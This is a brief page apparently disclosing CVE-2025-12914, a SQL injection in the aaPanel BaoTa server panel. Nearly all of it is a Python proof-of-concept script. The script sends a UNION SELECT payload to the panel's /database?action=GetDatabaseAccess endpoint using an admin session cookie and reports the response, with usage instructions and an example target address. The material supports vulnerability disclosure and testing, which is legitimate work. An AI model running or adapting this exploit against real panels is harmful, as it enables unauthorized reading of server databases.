CVE-2025-12914: aaPanel BaoTa 11.2.x SQL注入漏洞

import requests import sys # CVE-2025-12914 SQL Injection PoC for aaPanel BaoTa # Target: /database?action=GetDatabaseAccess def exploit(target_url, cookie, db_name): """ Exploit SQL injection in BaoTa panel's GetDatabaseAccess endpoint Args: target_url: Base URL of BaoTa panel cookie: Valid admin session cookie db_name: Target database name for injection test """ injection_payload = "' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" params = { 'action': 'GetDatabaseAccess', 'Name': injection_payload } headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.get(f"{target_url}/database", params=params, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent to {target_url}/database") print(f"[+] Payload: {injection_payload}") print(f"[+] Response length: {len(response.text)}") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <cookie> <db_name>") print(f"Example: python {sys.argv[0]} http://192.168.1.100:7800 'cookies=xxx' testdb") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])